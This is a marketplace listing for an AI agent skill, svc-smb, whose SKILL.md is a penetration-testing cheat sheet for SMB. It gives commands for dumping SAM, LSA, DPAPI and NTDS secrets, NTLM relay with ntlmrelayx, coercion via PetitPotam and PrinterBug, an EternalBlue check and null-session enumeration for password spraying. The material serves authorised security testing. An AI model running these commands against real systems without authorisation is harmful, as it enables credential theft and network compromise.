Skip to content
Agentmart
Submit a tool

svc-smb

SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order.

Skill by s0ld13rr

IndexedMIT★ 883
Write a review

Install

Works with Claude Code, Claude apps, Codex, Cursor, Gemini CLI, GitHub Copilot, VS Code, OpenCode, Goose, Windsurf. Read the repository before you give any tool access to your data.

npx agentmarket install skill/s0ld13rr-svc-smb

Asks which of your tools to add it to (Claude Code, Codex, Cursor, VS Code, Windsurf, Gemini CLI, Claude Desktop) and shows the change first. See https://agentmart.dev/cli.

Get the weekly diff

The weekly diff: one email a week with new agent tools, notable updates and grade changes, plus security alerts for tools you follow. Double opt-in, one-click unsubscribe.

We use your email only for this newsletter. Privacy

About

SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.

Use cases: security-scanning

No reviews yet. Installed it? Reviews come from verified installers only. How reviews work

Permissions

What this skill can do and what it asks for, from its SKILL.md. Checked Oct 25, 2026.

Tools
No tools found
Secrets
None asked for
Install scripts
None found

Network hosts it talks to 1

  • codeload.github.com · found in install command

Files it touches

  • ~/.claude/skills/svc-smb

What's inside

Skill name
svc-smb
Description
SMB gotchas — DPAPI dump trap, relay when signing disabled, credential dump order. Use when SMB is found. Triggers - ports 445/139, signing:False, null session, EternalBlue MS17-010, PetitPotam.
License
MIT
Instructions
28 lines in SKILL.md · view on GitHub

Agent Skills spec issues

  • name: "svc-smb" does not match folder "smb"

Files (1)

  • SKILL.md

SKILL.md (first lines)

# SMB — Gotchas & Attack Chains

## DPAPI dump trap
`netexec smb HOST -u USER -p PASS --dpapi` bare = FULL dump (browser passwords, vault, cookies, Credential Manager).
Adding subcommands (`cookies`, `nosystem`, `wifi`) **LIMITS** output. Always bare `--dpapi` first.

## Credential dump order (with local admin)
Run ALL, in order — each gets different secrets:
1. `--sam` — local hashes
2. `--lsa` — service passwords, cached domain creds
3. `--dpapi` — user secrets (browser, vault, Credential Manager)
4. `--ntds` — DC only, all domain hashes
Fallback: `secretsdump.py DOMAIN/USER:PASS@HOST`

## SMB relay (signing disabled)
Check: `netexec smb TARGET` → if "signing: False" → relay is possible.
Generate target list: `netexec smb SUBNET --gen-relay-list relay.txt`
Relay: `impacket-ntlmrelayx -tf relay.txt -smb2support`
Trigger auth: Responder, mitm6, PetitPotam, PrinterBug.

## EternalBlue (MS17-010)
Windows 7 / Server 2008 R2 / Server 2012 (unpatched). Confirm: `nmap --script smb-vuln-ms17-010 -p 445 TARGET`.

## Null session → spray chain
`enum4linux-ng -A TARGET`, `rpcclient -U '' -N TARGET -c 'enumdomusers'`.
If null session works → user list → AS-REP roast / password spray.

From s0ld13rr/pentestcode, MIT.

More from s0ld13rr/pentestcode

Signals

Stars
883
Forks
139
Open issues
3
Last commit (this folder)
Sep 2, 2026 (1 month ago)
Last release
Oct 23, 2026 (5 days ago)

From GitHub (fetched Oct 24, 2026).

Details

License
MIT
First seen
Oct 24, 2026
Last checked
Oct 24, 2026

Same skill elsewhere

Copies of this SKILL.md published by others; search shows only one of them.

More from s0ld13rr

Cite this page

svc-smb skill. Agent Mart. https://agentmart.dev/skills/s0ld13rr-svc-smb (last updated 2026-10-24)